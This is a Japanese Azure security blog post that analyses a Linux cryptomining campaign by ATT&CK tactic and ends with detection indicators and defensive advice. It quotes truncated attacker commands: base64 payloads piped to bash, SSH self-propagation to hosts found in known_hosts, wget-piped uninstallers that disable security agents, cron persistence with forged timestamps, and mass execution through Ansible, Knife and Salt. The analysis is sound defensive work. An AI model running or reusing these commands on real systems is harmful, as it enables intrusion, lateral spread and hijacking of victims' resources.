メイン コンテンツにスキップ

 Subscribe

仮想通貨マイニング攻撃が多くの Azure Linux のお客様に脅威をもたらし続けています。以前の記事 (英語) で、一部の攻撃者がブルート フォース アタックでアカウント名やパスワードを推測し、それらを使ってマシンにアクセスする方法についてお話しました。本日は、少数のお客様が既に目にしている、サービスを悪用し、サービスをホストするマシンで直接攻撃者のコードを実行する攻撃についてお話します。

この攻撃はいくつかの点で興味深いです。まず、攻撃者の意図がスクリプトに投影されているため、マシンで何が行われるのかだけでなく、攻撃者が何をしたいのかがわかります。次に、このスクリプトは幅広いサービスを悪用の対象にしているため、幅広い対象に攻撃を仕掛けることができます。最後に、スクリプト自体が手元にあるため、Linux MITRE ATT&CK Matrix (英語) の「Lateral Movement」、「Defense Evasion」、「Persistence」、および「Objectives」セクションから適切な例を抜粋し、それらを用いて各自のデータで脅威の検出を行うプロセスについて話し合うことができます。

最初のベクトル

この攻撃に関して、監査ログで何かしら問題があることを示す最初の目印となるのが、Base64 でエンコードされたコマンドを Base64 に渡してデコードした後、バッシュに渡す echo コマンドです。ユーザーを介して実行されるこの最初のコマンドにはインターネットに接続するアプリケーションまたはサービスの親プロセスが含まれており、このコマンドはそのプロセスに関連付けられているユーザー アカウントによって実行されます。これは、コマンドを実行する目的でアプリケーションまたはサービス自体が悪用されたことを示唆しています。これらのアカウントの中にはお客様に固有のものもありますが、Ubuntu、Jenkins、Hadoop などの共通アカウントが使用されている場合もあります。 

/bin/sh -c "echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYm

luOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4K<snip>CmRvbm

UK|base64 -d|bash"

スクリプト

少し話が逸れますが、大切な事ですので、このような攻撃者がスクリプトをどう使うのかをお話ししましょう。ほとんどの場合、攻撃者は Base64 でエンコードされたスクリプトを使用します。そのスクリプトに関する興味深い点の 1 つとして、最初の 2 行が共通している点が挙げられます。これらの行によって、標準的なエラーと標準的な出力ストリームの両方が /dev/null にリダイレクトされ、通常、攻撃者が実行したいと考えているシステム コマンドが存在する場所にパス変数が設定されます。 

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

これは、これらがそれぞれ Base64 にエンコードされた際、常にエンコードの最初の部分が同じになることを明示しています。

ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYm

luOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4K

同じコマンドの使用は、多数のマシンに対する攻撃をひとまとめにしようとする際に特に有効です。スクリプト自体も、攻撃者が何を実行するつもりだったのか示されているため興味深いです。防衛者としては、常に攻撃者のスクリプトを確認し、攻撃者がどのようにしてシステムを不正操作しようとしているのか把握しておくことが大いに役立つ可能性があります。たとえば、攻撃者は、For ループを使用して、考えられるさまざまなドメイン名を繰り返す処理を行っています。このような洞察により、防御者は、より多くのデータを軸にして調査を行うことができます。

for h in onion.glass civiclink.network tor2web.io onion.sh onion.mn onion.in.net onion.to
do
if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then
x t<snip>v.$h
else
break
fi
done

攻撃者は 30 種類以上のエンコードされたスクリプトを使用して多くのお客様に攻撃を仕掛けていますが、これらのスクリプトは実行可能ファイル名やダウンロード サイトが少しだけ異なる約 10 種類の基本スクリプトに要約されることがわかっています。これらのスクリプトの中には、Linux 向けの MITRE ATT&CK Matrix に直接結びつけることができる興味深い例も含まれています。

Lateral Movement (横方向の移動)

攻撃者が行う最初のプロセスではありませんが、攻撃者は、Discovery (探索) (T1018: リモート システムの探索 (英語)) と Lateral Movement (横方向の移動) (T1021: リモート サービス (英語)) を組み合わせた興味深い方法で他のホストを感染していきます。攻撃者は、.bash_history, /etc/hosts および .ssh/known_hosts ファイルを grep 検索し、IP アドレスを探します。その後、パスワードなしで、ルート アカウントと現在のホストで不正に入手したアカウントの両方を使用して、最初のエンコードされたスクリプトを各ホストに埋め込もうと試みます。元のスクリプトで呼び出しの前に xssh 関数が用いられている点に注意してください。 

hosts=$(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
------
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyA<snip>KZG9uZQo=|base64 -d|bash'
}

いずれの場合でも、攻撃者は、最初の足場を確保した後、類似した一連の Defense Evasion (防衛回避) の手法を使用します。

Defense Evasion (防衛回避)

攻撃者は、さまざまなスクリプトで、既に自明である T1064: スクリプト (英語) の手法とともに、T1107: ファイルの削除 (英語)T1222: ファイルとディレクトリのアクセス許可の変更 (英語)、および T1089: セキュリティ ツールの無効化 (英語) を使用します。

まず、ランダムに名前が付けられたファイルをスクリプトで作成します。

z=./$(date|md5sum|cut -f1 -d" ")

次に、実行可能ファイルをそのファイルにダウンロードした後、当該ファイルを実行可能な状態に変更を加え、実際に実行してから、当該データをディスクから削除します。

chmod +x $z;$z;rm -f

そして、別のスクリプトで、Alibaba Cloud Security Server Guard および AliCloud CloudMonitor サービス向けのアンインストール ファイルをダウンロードして実行しようとします (変数 $w がスクリプトの最初の方で wget コマンドとして設定されています)。

$w update.aegis.aliyun.com/download/uninstall.sh|bash
$w update.aegis.aliyun.com/download/quartz_uninstall.sh|bash
/usr/local/qcloud/stargate/admin/uninstall.sh

Persistence (永続化)

攻撃者は、コイン マイナーを稼働させた後、T1168: ローカル ジョブのスケジュール設定 (英語)T1501: Systemd サービス (英語) のスケジュール タスクを組み合わせて永続化させます。以下は、NTP 呼び出しと Base64 でエンコードされたスクリプトの 1 つを systemd-ntpdate ファイルにエコーした後、そのファイルを実行するためのクローン ジョブを追加するスクリプトの他の部分を抜粋したものです。このエンコードされたスクリプトは、侵入を開始した元のスクリプトと基本的に同じです。

echo -e "#x21/bin/bashnexec &>/dev/nullnntpdate ntp.aliyun.comnsleep $((RANDOM % 600))necho ZXhlYyAmPi9<snip>2gKZmkK|base64 -d|bash" > /lib/systemd/systemd-ntpdate
echo "0 * * * * root /lib/systemd/systemd-ntpdate" > /etc/cron.d/0systemd-ntpdate
touch -r /bin/grep /lib/systemd/systemd-ntpdate
touch -r /bin/grep /etc/cron.d/0systemd-ntpdate
chmod +x /lib/systemd/systemd-ntpdate

目的

既にお話したとおり、この攻撃者の主な目的は、コイン マイナーを稼働させることです。攻撃者は、T1496: リソース ハイジャッキング (英語) の戦術を用いて実行される最初のスクリプトでこれを行います。この攻撃に関して興味深い点の 1 つとして、まず、攻撃者が最初に不正入手したアカウントを使用してコイン マイナーを侵入させようと試みる一方で、後続のスクリプトの 1 つを用いてさまざまなソフトウェア (T1072: サードパーティ ソフトウェア (英語)) からコマンドを使用してコイン マイナーを稼働させようと試みる点が挙げられます。

ansible all -m shell -a 'echo ZXh<snip>uZQo=|base64 -d|bash'
knife ssh 'name:*' 'echo ZXh<snip>uZQo=|base64 -d|bash'
salt '*' cmd.run 'echo ZXh<snip>ZQo=|base64 -d|bash'

脅威の検出

ASC Linux のお客様は、このようなアクティビティからコイン マイニング (英語) や疑わしいダウンロード アラートを検出できると考えているでしょう。しかし、自力でこれらを検出したい場合はどうすればよいでしょうか。上記のスクリプトの例を使用した場合、特にコマンド ライン ログが存在する場合には、お客様で確認できる指標がいくつかあります。 

  • オニオン サイトや Tor サイトへの予期しない接続が行われていないか
  • ホスト間の予期しない SSH 接続が行われていないか
  • 特定ユーザーのアクティビティが増加していないか
  • Base64 コマンドがエコーされ、デコードされた後、バッシュに渡されていないか。お客様のネットワークにもよりますが、これらはどれも疑わしいアクティビティである可能性があります
  • wget または Base64 でエンコードされた行が存在していないか、クローン ジョブを確認
  • 予期しないことが行われていないか、マシンで実行されているサービスを確認
  • 上記の「目的」セクションに関連する、インストールした覚えがないソフトウェアのコマンドが実行されていないか

Azure Sentinel でも脅威の検出が可能です。既に Azure Security Center を利用しているお客様は、Azure Sentinel へ容易に統合 (英語) できます。

防御

脅威の検出以外にも、このような攻撃から自己防衛できる方法があります。インターネットに接続するサービスが存在する場合、それらを常に最新の状態に保ち、既定のパスワードを変更しする、もしくは、Azure で提供されている Just-In-Time (JIT)パスワードなしのサインイン (英語)Azure Key Vault などの他の資格情報管理ツールを利用するようにします。また、Azure マシンの使用率を監視します。予期していない使用率の増加はコイン マイナーを示唆している可能性があります。その他の方法に関しては、Azure Security Center のドキュメント ページをご確認ください。 

Linux システムでの攻撃の特定

コイン マイナーは、インターネットに接続するマシンにとって継続的な脅威となっています。一般的に、既知の不正 IP をブロックしたり、署名ベースのウィルス対策を用いたりするのは容易ですが、攻撃者の戦略、技術、および手順を学習することで、防御者は、自身の環境を保護するためにより信頼できる新しい方法を見つけることができます。

こちらの記事では、具体的にコイン マイナーを仕掛ける攻撃者についてお話しましたが、記事で取り上げた基本的な方法は、Linux システムを攻撃する、さまざまなタイプの攻撃者が使用しているものです。上記のような Lateral Movement (横方向の移動)、Defense Evasion (防衛回避)、および Persistence (永続化) の方法がさまざまな攻撃者によって日常的に使用されていますが、マイクロソフトは、調査に基づいて新しい検出機能を継続的に追加しています。

  • Explore

     

    Let us know what you think of Azure and what you would like to see in the future.

     

    Provide feedback

  • Build your cloud computing and Azure skills with free courses by Microsoft Learn.

     

    Explore Azure learning


Join the conversation